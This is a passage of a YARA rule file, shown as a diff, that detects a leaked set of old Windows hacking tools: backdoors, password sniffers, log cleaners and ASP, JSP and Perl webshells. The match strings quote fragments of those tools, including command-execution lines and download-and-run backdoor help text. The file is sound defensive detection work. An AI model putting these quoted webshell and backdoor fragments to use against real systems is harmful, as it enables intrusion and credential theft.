+      $s1 = "WinEggDrop.DLL" fullword ascii
+      $s2 = "nc.exe" fullword ascii
+      $s3 = "KeyLog.exe" fullword ascii
+      $s4 = "EditKeyLog.exe" fullword ascii
+      $s5 = "wineggdrop" fullword ascii
+   condition:
+      3 of them
+}
+
+rule PassSniffer_zip_Folder_readme {
+   meta:
+      description = "Disclosed hacktool set (old stuff) - file readme.txt"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "23.11.14"
+      score = 60
+      hash = "a52545ae62ddb0ea52905cbb61d895a51bfe9bcd"
+      id = "f5965aa8-0f78-56fd-8e3e-6dc013942cb3"
+   strings:
+      $s0 = "PassSniffer.exe" fullword ascii
+      $s1 = "POP3/FTP Sniffer" fullword ascii
+      $s2 = "Password Sniffer V1.0" fullword ascii
+   condition:
+      1 of them
+}
+
+rule sig_238_gina {
+   meta:
+      description = "Disclosed hacktool set (old stuff) - file gina.reg"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "23.11.14"
+      score = 60
+      hash = "324acc52566baf4afdb0f3e4aaf76e42899e0cf6"
+      id = "85c19493-e6d4-55e8-8526-6817243e90cf"
+   strings:
+      $s0 = "\"gina\"=\"gina.dll\"" fullword ascii
+      $s1 = "REGEDIT4" fullword ascii
+      $s2 = "[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon]" fullword ascii
+   condition:
+      all of them
+}
+
+rule splitjoin {
+   meta:
+      description = "Disclosed hacktool set (old stuff) - file splitjoin.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "23.11.14"
+      score = 60
+      hash = "e4a9ef5d417038c4c76b72b5a636769a98bd2f8c"
+      id = "2f1a69cd-34b3-5af0-a054-fe19d9becb25"
+   strings:
+      $s0 = "Not for distribution without the authors permission" fullword wide
+      $s2 = "Utility to split and rejoin files.0" fullword wide
+      $s5 = "Copyright (c) Angus Johnson 2001-2002" fullword wide
+      $s19 = "SplitJoin" fullword wide
+   condition:
+      all of them
+}
+
+rule EditKeyLog {
+   meta:
+      description = "Disclosed hacktool set (old stuff) - file EditKeyLog.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "23.11.14"
+      score = 60
+      hash = "a450c31f13c23426b24624f53873e4fc3777dc6b"
+      id = "db083c04-9e5c-5cfd-b4d4-eecf28191b6b"
+   strings:
+      $s1 = "Press Any Ke" fullword ascii
+      $s2 = "Enter 1 O" fullword ascii
+      $s3 = "Bon >0 & <65535L" fullword ascii
+      $s4 = "--Choose " fullword ascii
+   condition:
+      all of them
+}
+
+rule PassSniffer {
+   meta:
+      description = "Disclosed hacktool set (old stuff) - file PassSniffer.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "23.11.14"
+      score = 60
+      hash = "dcce4c577728e8edf7ed38ac6ef6a1e68afb2c9f"
+      id = "f5965aa8-0f78-56fd-8e3e-6dc013942cb3"
+   strings:
+      $s2 = "Sniff" fullword ascii
+      $s3 = "GetLas" fullword ascii
+      $s4 = "VersionExA" fullword ascii
+      $s10 = " Only RuntUZ" fullword ascii
+      $s12 = "emcpysetprintf\\" ascii
+      $s13 = "WSFtartup" fullword ascii
+   condition:
+      all of them
+}
+
+rule aspfile2 {
+   meta:
+      description = "Disclosed hacktool set (old stuff) - file aspfile2.asp"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "23.11.14"
+      score = 60
+      hash = "14efbc6cb01b809ad75a535d32b9da4df517ff29"
+      id = "42bbcc16-a6d7-53d7-8651-1a28c6b26ee8"
+   strings:
+      $s0 = "response.write \"command completed success!\" " fullword ascii
+      $s1 = "for each co in foditems " fullword ascii
+      $s3 = "<input type=text name=text6 value=\"<%= szCMD6 %>\"><br> " fullword ascii
+      $s19 = "<title>Hello! Welcome </title>" fullword ascii
+   condition:
+      all of them
+}
+
+rule UnPack_rar_Folder_InjectT {
+   meta:
+      description = "Disclosed hacktool set (old stuff) - file InjectT.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "23.11.14"
+      score = 60
+      hash = "80f39e77d4a34ecc6621ae0f4d5be7563ab27ea6"
+      id = "cc7d1a36-1214-5a14-8589-9eb2339a8700"
+   strings:
+      $s0 = "%s -Install                          -->To Install The Service" fullword ascii
+      $s1 = "Explorer.exe" fullword ascii
+      $s2 = "%s -Start                            -->To Start The Service" fullword ascii
+      $s3 = "%s -Stop                             -->To Stop The Service" fullword ascii
+      $s4 = "The Port Is Out Of Range" fullword ascii
+      $s7 = "Fail To Set The Port" fullword ascii
+      $s11 = "\\psapi.dll" ascii
+      $s20 = "TInject.Dll" fullword ascii
+
+      $x1 = "Software\\Microsoft\\Internet Explorer\\WinEggDropShell" fullword ascii
+      $x2 = "injectt.exe" fullword ascii
+   condition:
+      ( 1 of ($x*) ) and ( 3 of ($s*) )
+}
+
+rule Jc_WinEggDrop_Shell {
+   meta:
+      description = "Disclosed hacktool set (old stuff) - file Jc.WinEggDrop Shell.txt"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "23.11.14"
+      score = 60
+      hash = "820674b59f32f2cf72df50ba4411d7132d863ad2"
+      id = "219df3a1-fe1c-5d33-ab3e-1b3cbd104c9e"
+   strings:
+      $s0 = "Sniffer.dll" fullword ascii
+      $s4 = ":Execute net.exe user Administrator pass" fullword ascii
+      $s5 = "Fport.exe or mport.exe " fullword ascii
+      $s6 = ":Password Sniffering Is Running |Not Running " fullword ascii
+      $s9 = ": The Terminal Service Port Has Been Set To NewPort" fullword ascii
+      $s15 = ": Del www.exe                   " fullword ascii
+      $s20 = ":Dir *.exe                    " fullword ascii
+   condition:
+      2 of them
+}
+
+rule aspbackdoor_asp1 {
+   meta:
+      description = "Disclosed hacktool set (old stuff) - file asp1.txt"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "23.11.14"
+      score = 60
+      hash = "9ef9f34392a673c64525fcd56449a9fb1d1f3c50"
+      id = "fa5128c5-efd5-55dd-880a-2952942e2035"
+   strings:
+      $s0 = "param = \"driver={Microsoft Access Driver (*.mdb)}\" " fullword ascii
+      $s1 = "conn.Open param & \";dbq=\" & Server.MapPath(\"scjh.mdb\") " fullword ascii
+      $s6 = "set rs=conn.execute (sql)%> " fullword ascii
+      $s7 = "<%set Conn = Server.CreateObject(\"ADODB.Connection\") " fullword ascii
+      $s10 = "<%dim ktdh,scph,scts,jhqtsj,yhxdsj,yxj,rwbh " fullword ascii
+      $s15 = "sql=\"select * from scjh\" " fullword ascii
+   condition:
+      all of them
+}
+
+rule QQ_zip_Folder_QQ {
+   meta:
+      description = "Disclosed hacktool set (old stuff) - file QQ.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "23.11.14"
+      score = 60
+      hash = "9f8e3f40f1ac8c1fa15a6621b49413d815f46cfb"
+      id = "30da6292-f670-5b73-985a-3028e20607be"
+   strings:
+      $s0 = "EMAIL:haoq@neusoft.com" fullword wide
+      $s1 = "EMAIL:haoq@neusoft.com" fullword wide
+      $s4 = "QQ2000b.exe" fullword wide
+      $s5 = "haoq@neusoft.com" fullword ascii
+      $s9 = "QQ2000b.exe" fullword ascii
+      $s10 = "\\qq2000b.exe" ascii
+      $s12 = "WINDSHELL STUDIO[WINDSHELL " fullword wide
+      $s17 = "SOFTWARE\\HAOQIANG\\" ascii
+   condition:
+      5 of them
+}
+
+rule UnPack_rar_Folder_TBack {
+   meta:
+      description = "Disclosed hacktool set (old stuff) - file TBack.DLL"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "23.11.14"
+      score = 60
+      hash = "30fc9b00c093cec54fcbd753f96d0ca9e1b2660f"
+      id = "f672f987-0d43-53df-8338-084907b6da16"
+   strings:
+      $s0 = "Redirect SPort RemoteHost RPort       -->Port Redirector" fullword ascii
+      $s1 = "http://IP/a.exe a.exe                 -->Download A File" fullword ascii
+      $s2 = "StopSniffer                           -->Stop Pass Sniffer" fullword ascii
+      $s3 = "TerminalPort Port                     -->Set New Terminal Port" fullword ascii
+      $s4 = "Example: Http://12.12.12.12/a.exe abc.exe" fullword ascii
+      $s6 = "Create Password Sniffering Thread Successfully. Status:Logging" fullword ascii
+      $s7 = "StartSniffer NIC                      -->Start Sniffer" fullword ascii
+      $s8 = "Shell                                 -->Get A Shell" fullword ascii
+      $s11 = "DeleteService ServiceName             -->Delete A Service" fullword ascii
+      $s12 = "Disconnect ThreadNumber|All           -->Disconnect Others" fullword ascii
+      $s13 = "Online                                -->List All Connected IP" fullword ascii
+      $s15 = "Getting The UserName(%c%s%c)-->ID(0x%s) Successfully" fullword ascii
+      $s16 = "Example: Set REG_SZ Test Trojan.exe" fullword ascii
+      $s18 = "Execute Program                       -->Execute A Program" fullword ascii
+      $s19 = "Reboot                                -->Reboot The System" fullword ascii
+      $s20 = "Password Sniffering Is Not Running" fullword ascii
+   condition:
+      4 of them
+}
+
+rule sig_238_cmd_2 {
+   meta:
+      description = "Disclosed hacktool set (old stuff) - file cmd.jsp"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "23.11.14"
+      score = 60
+      hash = "be4073188879dacc6665b6532b03db9f87cfc2bb"
+      id = "5fae3c4a-aeeb-5e02-9071-3980a39a19a9"
+   strings:
+      $s0 = "Process child = Runtime.getRuntime().exec(" ascii
+      $s1 = "InputStream in = child.getInputStream();" fullword ascii
+      $s2 = "String cmd = request.getParameter(\"" ascii
+      $s3 = "while ((c = in.read()) != -1) {" fullword ascii
+      $s4 = "<%@ page import=\"java.io.*\" %>" fullword ascii
+   condition:
+      all of them
+}
+
+rule RangeScan {
+   meta:
+      description = "Disclosed hacktool set (old stuff) - file RangeScan.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "23.11.14"
+      score = 60
+      hash = "bace2c65ea67ac4725cb24aa9aee7c2bec6465d7"
+      id = "143d9e1e-41e2-579a-beee-30da2cf068f7"
+   strings:
+      $s0 = "RangeScan.EXE" fullword wide
+      $s4 = "<br><p align=\"center\"><b>RangeScan " fullword ascii
+      $s9 = "Produced by isn0" fullword ascii
+      $s10 = "RangeScan" fullword wide
+      $s20 = "%d-%d-%d %d:%d:%d" fullword ascii
+   condition:
+      3 of them
+}
+
+rule XYZCmd_zip_Folder_Readme {
+   meta:
+      description = "Disclosed hacktool set (old stuff) - file Readme.txt"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "23.11.14"
+      score = 60
+      hash = "967cb87090acd000d22e337b8ce4d9bdb7c17f70"
+      id = "cee0f8c3-f947-50a5-ae8c-4ce83ef5e433"
+   strings:
+      $s3 = "3.xyzcmd \\\\RemoteIP /user:Administrator /pwd:1234 /nowait trojan.exe" fullword ascii
+      $s20 = "XYZCmd V1.0" fullword ascii
+   condition:
+      all of them
+}
+
+rule ByPassFireWall_zip_Folder_Inject {
+   meta:
+      description = "Disclosed hacktool set (old stuff) - file Inject.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "23.11.14"
+      score = 60
+      hash = "34f564301da528ce2b3e5907fd4b1acb7cb70728"
+      id = "bb31dc53-f3c1-5f8b-84f9-c231a4e1675b"
+   strings:
+      $s6 = "Fail To Inject" fullword ascii
+      $s7 = "BtGRemote Pro; V1.5 B/{" fullword ascii
+      $s11 = " Successfully" fullword ascii
+   condition:
+      all of them
+}
+
+rule sig_238_sqlcmd {
+   meta:
+      description = "Disclosed hacktool set (old stuff) - file sqlcmd.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "23.11.14"
+      score = 40
+      hash = "b6e356ce6ca5b3c932fa6028d206b1085a2e1a9a"
+      id = "0efdfac7-5a89-5251-b583-12b0a58c48ff"
+   strings:
+      $s0 = "Permission denial to EXEC command.:(" ascii
+      $s3 = "by Eyas<cooleyas@21cn.com>" fullword ascii
+      $s4 = "Connect to %s MSSQL server success.Enjoy the shell.^_^" fullword ascii
+      $s5 = "Usage: %s <host> <uid> <pwd>" fullword ascii
+      $s6 = "SqlCmd2.exe Inside Edition." fullword ascii
+      $s7 = "Http://www.patching.net  2000/12/14" fullword ascii
+      $s11 = "Example: %s 192.168.0.1 sa \"\"" fullword ascii
+   condition:
+      4 of them
+}
+
+rule ASPack_ASPACK {
+   meta:
+      description = "Disclosed hacktool set (old stuff) - file ASPACK.EXE"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "23.11.14"
+      score = 60
+      hash = "c589e6fd48cfca99d6335e720f516e163f6f3f42"
+      id = "ca9a25f9-a94b-5e10-b935-c6e2d38d999c"
+   strings:
+      $s0 = "ASPACK.EXE" fullword wide
+      $s5 = "CLOSEDFOLDER" fullword wide
+      $s10 = "ASPack compressor" fullword wide
+   condition:
+      all of them
+}
+
+rule sig_238_2323 {
+   meta:
+      description = "Disclosed hacktool set (old stuff) - file 2323.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "23.11.14"
+      score = 60
+      hash = "21812186a9e92ee7ddc6e91e4ec42991f0143763"
+      id = "445f6a49-51e6-5eb8-ae08-e5989aafb6c4"
+   strings:
+      $s0 = "port - Port to listen on, defaults to 2323" fullword ascii
+      $s1 = "Usage: srvcmd.exe [/h] [port]" fullword ascii
+      $s3 = "Failed to execute shell" fullword ascii
+      $s5 = "/h   - Hide Window" fullword ascii
+      $s7 = "Accepted connection from client at %s" fullword ascii
+      $s9 = "Error %d: %s" fullword ascii
+   condition:
+      all of them
+}
+
+rule Jc_ALL_WinEggDropShell_rar_Folder_Install_2 {
+   meta:
+      description = "Disclosed hacktool set (old stuff) - file Install.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "23.11.14"
+      score = 60
+      hash = "95866e917f699ee74d4735300568640ea1a05afd"
+      id = "ebfc8e53-328c-5deb-bf9b-e0270f171c68"
+   strings:
+      $s1 = "http://go.163.com/sdemo" fullword wide
+      $s2 = "Player.tmp" fullword ascii
+      $s3 = "Player.EXE" fullword wide
+      $s4 = "mailto:sdemo@263.net" fullword ascii
+      $s5 = "S-Player.exe" fullword ascii
+      $s9 = "http://www.BaiXue.net (" wide
+   condition:
+      all of them
+}
+
+rule sig_238_TFTPD32 {
+   meta:
+      description = "Disclosed hacktool set (old stuff) - file TFTPD32.EXE"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "23.11.14"
+      score = 60
+      hash = "5c5f8c1a2fa8c26f015e37db7505f7c9e0431fe8"
+      id = "071fba15-affe-539a-bcc0-c14943fff51a"
+   strings:
+      $s0 = " http://arm.533.net" fullword ascii
+      $s1 = "Tftpd32.hlp" fullword ascii
+      $s2 = "Timeouts and Ports should be numerical and can not be 0" fullword ascii
+      $s3 = "TFTPD32 -- " fullword wide
+      $s4 = "%d -- %s" fullword ascii
+      $s5 = "TIMEOUT while waiting for Ack block %d. file <%s>" fullword ascii
+      $s12 = "TftpPort" fullword ascii
+      $s13 = "Ttftpd32BackGround" fullword ascii
+      $s17 = "SOFTWARE\\TFTPD32" fullword ascii
+   condition:
+      all of them
+}
+
+rule sig_238_iecv {
+   meta:
+      description = "Disclosed hacktool set (old stuff) - file iecv.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "23.11.14"
+      score = 60
+      hash = "6e6e75350a33f799039e7a024722cde463328b6d"
+      id = "08126db3-267b-5289-b562-40bc264f6e3e"
+   strings:
+      $s1 = "Edit The Content Of Cookie " fullword wide
+      $s3 = "Accessories\\wordpad.exe" fullword ascii
+      $s4 = "gorillanation.com" fullword ascii
+      $s5 = "Before editing the content of a cookie, you should close all windows of Internet" ascii
+      $s12 = "http://nirsoft.cjb.net" fullword ascii
+   condition:
+      all of them
+}
+
+rule Antiy_Ports_1_21 {
+   meta:
+      description = "Disclosed hacktool set (old stuff) - file Antiy Ports 1.21.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "23.11.14"
+      score = 60
+      hash = "ebf4bcc7b6b1c42df6048d198cbe7e11cb4ae3f0"
+      id = "eb53fc91-4dec-5416-a2c7-1e8256297886"
+   strings:
+      $s0 = "AntiyPorts.EXE" fullword wide
+      $s7 = "AntiyPorts MFC Application" fullword wide
+      $s20 = " @Stego:" fullword ascii
+   condition:
+      all of them
+}
+
+rule perlcmd_zip_Folder_cmd {
+   meta:
+      description = "Disclosed hacktool set (old stuff) - file cmd.cgi"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "23.11.14"
+      score = 60
+      hash = "21b5dc36e72be5aca5969e221abfbbdd54053dd8"
+      id = "19e4eca0-bd56-57af-afd2-ee2fc5c7c0df"
+   strings:
+      $s0 = "syswrite(STDOUT, \"Content-type: text/html\\r\\n\\r\\n\", 27);" fullword ascii
+      $s1 = "s/%20/ /ig;" fullword ascii
+      $s2 = "syswrite(STDOUT, \"\\r\\n</PRE></HTML>\\r\\n\", 17);" fullword ascii
+      $s4 = "open(STDERR, \">&STDOUT\") || die \"Can't redirect STDERR\";" fullword ascii
+      $s5 = "$_ = $ENV{QUERY_STRING};" fullword ascii
+      $s6 = "$execthis = $_;" fullword ascii
+      $s7 = "system($execthis);" fullword ascii
+      $s12 = "s/%2f/\\//ig;" fullword ascii
+   condition:
+      6 of them
+}
+
+rule aspbackdoor_asp3 {
+   meta:
+      description = "Disclosed hacktool set (old stuff) - file asp3.txt"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "23.11.14"
+      score = 60
+      hash = "e5588665ca6d52259f7d9d0f13de6640c4e6439c"
+      id = "ed86e829-449b-5088-a105-f1fe79547540"
+   strings:
+      $s0 = "<form action=\"changepwd.asp\" method=\"post\"> " fullword ascii
+      $s1 = "  Set oUser = GetObject(\"WinNT://ComputerName/\" & UserName) " fullword ascii
+      $s2 = "    value=\"<%=Request.ServerVariables(\"LOGIN_USER\")%>\"> " fullword ascii
+      $s14 = " Windows NT " fullword ascii
+      $s16 = " WIndows 2000 " fullword ascii
+      $s18 = "OldPwd = Request.Form(\"OldPwd\") " fullword ascii
+      $s19 = "NewPwd2 = Request.Form(\"NewPwd2\") " fullword ascii
+      $s20 = "NewPwd1 = Request.Form(\"NewPwd1\") " fullword ascii
+   condition:
+      all of them
+}
+
+rule sig_238_FPipe {
+   meta:
+      description = "Disclosed hacktool set (old stuff) - file FPipe.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "23.11.14"
+      score = 60
+      hash = "41d57d356098ff55fe0e1f0bcaa9317df5a2a45c"
+      id = "0b2f11d9-a919-5790-8724-d2f028e4fa3a"
+   strings:
+      $s0 = "made to port 80 of the remote machine at 192.168.1.101 with the" fullword ascii
+      $s1 = "Unable to resolve hostname \"%s\"" fullword ascii
+      $s2 = "source port for that outbound connection being set to 53 also." fullword ascii
+      $s3 = " -s    - outbound source port number" fullword ascii
+      $s5 = "http://www.foundstone.com" fullword ascii
+      $s20 = "Attempting to connect to %s port %d" fullword ascii
+   condition:
+      all of them
+}
+
+rule sig_238_concon {
+   meta:
+      description = "Disclosed hacktool set (old stuff) - file concon.com"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "23.11.14"
+      score = 60
+      hash = "816b69eae66ba2dfe08a37fff077e79d02b95cc1"
+      id = "ca7862cc-1053-5fce-a569-6ecc069314df"
+   strings:
+      $s0 = "Usage: concon \\\\ip\\sharename\\con\\con" fullword ascii
+   condition:
+      all of them
+}
+
+rule aspbackdoor_regdll {
+   meta:
+      description = "Disclosed hacktool set (old stuff) - file regdll.asp"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "23.11.14"
+      score = 60
+      hash = "5c5e16a00bcb1437bfe519b707e0f5c5f63a488d"
+      id = "37096c50-68d0-5412-847a-022062a5ff2a"
+   strings:
+      $s1 = "exitcode = oShell.Run(\"c:\\WINNT\\system32\\regsvr32.exe /u/s \" & strFile, 0, " ascii
+      $s3 = "oShell.Run \"c:\\WINNT\\system32\\regsvr32.exe /u/s \" & strFile, 0, False" fullword ascii
+      $s4 = "EchoB(\"regsvr32.exe exitcode = \" & exitcode)" fullword ascii
+      $s5 = "Public Property Get oFS()" fullword ascii
+   condition:
+      all of them
+}
+
+rule CleanIISLog {
+   meta:
+      description = "Disclosed hacktool set (old stuff) - file CleanIISLog.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "23.11.14"
+      score = 60
+      hash = "827cd898bfe8aa7e9aaefbe949d26298f9e24094"
+      id = "439726c6-3262-59ef-9a54-7dcd98cf924d"
+   strings:
+      $s1 = "CleanIP - Specify IP Address Which You Want Clear." fullword ascii
+      $s2 = "LogFile - Specify Log File Which You Want Process." fullword ascii
+      $s8 = "CleanIISLog Ver" fullword ascii
+      $s9 = "msftpsvc" fullword ascii
+      $s10 = "Fatal Error: MFC initialization failed" fullword ascii
+      $s11 = "Specified \"ALL\" Will Process All Log Files." fullword ascii
+      $s12 = "Specified \".\" Will Clean All IP Record." fullword ascii
+      $s16 = "Service %s Stopped." fullword ascii
+      $s20 = "Process Log File %s..." fullword ascii
+   condition:
+      5 of them
+}
+
+rule sqlcheck {
+   meta:
+      description = "Disclosed hacktool set (old stuff) - file sqlcheck.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "23.11.14"
+      score = 60
+      hash = "5a5778ac200078b627db84fdc35bf5bcee232dc7"
+      id = "a72d38ef-b2e7-5051-8538-724d9e95fa6a"
+   strings:
+      $s0 = "Power by eyas<cooleyas@21cn.com>" fullword ascii
+      $s3 = "\\ipc$ \"\" /user:\"\"" fullword ascii
+      $s4 = "SQLCheck can only scan a class B network. Try again." fullword ascii
+      $s14 = "Example: SQLCheck 192.168.0.1 192.168.0.254" fullword ascii
+      $s20 = "Usage: SQLCheck <StartIP> <EndIP>" fullword ascii
+   condition:
+      3 of them
+}
+
+rule sig_238_RunAsEx {
+   meta:
+      description = "Disclosed hacktool set (old stuff) - file RunAsEx.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "23.11.14"
+      score = 60
+      hash = "a22fa4e38d4bf82041d67b4ac5a6c655b2e98d35"
+      id = "5fe349db-c0fc-5a49-97ee-3142f4e0e4c1"
+   strings:
+      $s0 = "RunAsEx By Assassin 2000. All Rights Reserved. http://www.netXeyes.com" fullword ascii
+      $s8 = "cmd.bat" fullword ascii
+      $s9 = "Note: This Program Can'nt Run With Local Machine." fullword ascii
+      $s11 = "%s Execute Succussifully." fullword ascii
+      $s12 = "winsta0" fullword ascii
+      $s15 = "Usage: RunAsEx <UserName> <Password> <Execute File> [\"Execute Option\"]" fullword ascii
+   condition:
+      4 of them
+}
+
+rule sig_238_nbtdump {
+   meta:
+      description = "Disclosed hacktool set (old stuff) - file nbtdump.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "23.11.14"
+      score = 60
+      hash = "cfe82aad5fc4d79cf3f551b9b12eaf9889ebafd8"
+      id = "fe490f72-a07d-57c2-b9bb-d791fab10ec6"
+   strings:
+      $s0 = "Creation of results file - \"%s\" failed." fullword ascii
+      $s1 = "c:\\>nbtdump remote-machine" fullword ascii
+      $s7 = "Cerberus NBTDUMP" fullword ascii
+      $s11 = "<CENTER><H1>Cerberus Internet Scanner</H1>" fullword ascii
+      $s18 = "<P><H3>Account Information</H3><PRE>" fullword wide
+      $s19 = "%s's password is %s</H3>" fullword wide
+      $s20 = "%s's password is blank</H3>" fullword wide
+   condition:
+      5 of them
+}
+
+rule sig_238_Glass2k {
+   meta:
+      description = "Disclosed hacktool set (old stuff) - file Glass2k.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "23.11.14"
+      score = 60
+      hash = "b05455a1ecc6bc7fc8ddef312a670f2013704f1a"
+      id = "7a2ad37a-6b55-5710-b07d-7c289cdbb04e"
+   strings:
+      $s0 = "Portions Copyright (c) 1997-1999 Lee Hasiuk" fullword ascii
+      $s1 = "C:\\Program Files\\Microsoft Visual Studio\\VB98" fullword ascii
+      $s3 = "WINNT\\System32\\stdole2.tlb" fullword ascii
+      $s4 = "Glass2k.exe" fullword wide
+      $s7 = "NeoLite Executable File Compressor" fullword ascii
+   condition:
+      all of them
+}
+
+rule SplitJoin_V1_3_3_rar_Folder_3 {
+   meta:
+      description = "Disclosed hacktool set (old stuff) - file splitjoin.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "23.11.14"
+      score = 60
+      hash = "21409117b536664a913dcd159d6f4d8758f43435"
+      id = "4ffd7501-339c-52b7-8661-2c3ca57dfa1f"
+   strings:
+      $s2 = "ie686@sohu.com" fullword ascii
+      $s3 = "splitjoin.exe" fullword ascii
+      $s7 = "SplitJoin" fullword ascii
+   condition:
+      all of them
+}
+
+rule aspbackdoor_EDIT {
+   meta:
+      description = "Disclosed hacktool set (old stuff) - file EDIT.ASP"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "23.11.14"
+      score = 60
+      hash = "12196cf62931cde7b6cb979c07bb5cc6a7535cbb"
+      id = "cdcec370-97af-51c0-b81a-35a788f16ef4"
+   strings:
+      $s1 = "<meta HTTP-EQUIV=\"Content-Type\" CONTENT=\"text/html;charset=gb_2312-80\">" fullword ascii
+      $s2 = "Set thisfile = fs.GetFile(whichfile)" fullword ascii
+      $s3 = "response.write \"<a href='index.asp'>" fullword ascii
+      $s5 = "if Request.Cookies(\"password\")=\"juchen\" then " fullword ascii
+      $s6 = "Set thisfile = fs.OpenTextFile(whichfile, 1, False)" fullword ascii
+      $s7 = "color: rgb(255,0,0); text-decoration: underline }" fullword ascii
+      $s13 = "if Request(\"creat\")<>\"yes\" then" fullword ascii
+   condition:
+      5 of them
+}
+
+rule aspbackdoor_entice {
+   meta:
+      description = "Disclosed hacktool set (old stuff) - file entice.asp"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "23.11.14"
+      score = 60
+      hash = "e273a1b9ef4a00ae4a5d435c3c9c99ee887cb183"
+      id = "68c61920-9c3c-5bfe-976c-346b258bb406"
+   strings:
+      $s0 = "<Form Name=\"FormPst\" Method=\"Post\" Action=\"entice.asp\">" fullword ascii
+      $s2 = "if left(trim(request(\"sqllanguage\")),6)=\"select\" then" fullword ascii
+      $s4 = "conndb.Execute(sqllanguage)" fullword ascii
+      $s5 = "<!--#include file=sqlconn.asp-->" fullword ascii
+      $s6 = "rstsql=\"select * from \"&rstable(\"table_name\")" fullword ascii
+   condition:
+      all of them
+}
+
+rule FPipe2_0 {
+   meta:
+      description = "Disclosed hacktool set (old stuff) - file FPipe2.0.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "23.11.14"
+      score = 60
+      hash = "891609db7a6787575641154e7aab7757e74d837b"
+      id = "7e104cf6-69d2-590e-8999-4f0d448719f2"
+   strings:
+      $s0 = "made to port 80 of the remote machine at 192.168.1.101 with the" fullword ascii
